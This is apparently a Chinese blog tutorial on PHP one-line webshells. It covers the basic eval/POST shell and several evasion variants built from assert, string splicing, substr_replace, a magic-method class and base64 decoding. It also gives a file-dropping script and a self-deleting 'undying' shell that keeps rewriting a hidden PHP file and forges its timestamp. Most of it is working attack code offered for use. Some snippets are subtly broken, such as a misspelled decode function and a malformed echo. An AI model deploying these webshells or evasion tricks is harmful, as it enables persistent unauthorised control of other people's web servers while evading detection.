这篇文章主要是总结一句话木马,并实现一句话木马的简单免杀,以及一个不死马的实现。
首先,来看最简单的一句话木马:
@eval($_POST['cmd']); ?>
前面的是php的文件格式,
@
是让程序在执行错误的情况下也不要报错,eval()
函数是将括号里的内容都当作代码执行,$_POST['cmd']
应该都很熟悉了,通过cmd
这个参数post提交数据。
举个例子,我在网站根目录下写入一句话木马
随后在127.0.0.1/index.php中,post提交cmd的数据为phpinfo();
,出现了相应的界面,可以看到出现了命令执行漏洞。
除了这样命令执行,还可以用蚁剑、菜刀进行连接。
从上面的演示中可以看到一句话木马的简单、高效,但就是因为其过于简单,查杀起来也很方便,所以要对其进行变形,让它不容易被发现。以下是几个免杀方法:
如果过滤了eval
,可以使用assert
绕过
assert() 会检查指定的 assertion 并在结果为true时执行
@assert($_POST['cmd']); ?>
当过滤了eval、assert
两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数
substr_replace(string,replacement,start,length)
参数 | 描述 |
---|---|
string | 必需,规定检查的字符串。 |
replacement | 必需,规定要插入的字符串。 |
start | 必需,规定在字符串的何处开始替换。若为0,从头开始。 |
length | 可选。规定要替换多少个字符。默认是与字符串长度相同。 |
$a=substr_replace("assexx","rt",4);
@$a($_POST['cmd']);
?>
在这个马中,是将第四位和第五位,也就是xx
替换成rt
,最终拼接成为assert
除了substr_replace(),还有一种拼接方法
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
可以利用函数来构造一句话木马
function shyshy($a){
assert($a);
}
@shyshy($_POST['cmd']);
?>
先是构造了shyshy()
这一函数,然后调用函数,变成一句话木马。
适用于过滤了GET
和POST
的情况下
$a=$_REQUEST['cmd'];
$b="\n";
eval($b.=$a);
?>
可以构造一个类,利用魔术方法来拼接
class shyshy{
public $a='';
function __destruct(){
assert("this->$a");
}
}
$b=new shyshy();
$b->a=$_POST['cmd'];
?>
$a=base_decode(YXNzZXJ0);
$b=$a(base64_decode($_POST['cmd']));
?>
if(isset($_POST['filename']))
{
$d='data';
$$d=$_POST['text']; //$data
$f='fp';
$$f=fopen($_POST['filename'],'wb'); //$fp
echo fwrite($fp,$data):"save success":"save fail";
fclose($fp);
}
?>
这个代码通过在网站根目录下写一句话木马的方法,然后再去访问木马,从而getshell。
ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,true则不会
set_time_limit(0); //如果为零说明永久执行直到程序结束
unlink(__FILE__); //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
$file='./.index1.php';
$code='';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间
usleep(5000);
}
?>
实测时发现设置文件编辑时间那里会报错,可以选择把那一句删掉。
用法:?pass=shyshy&cmd=phpinfo();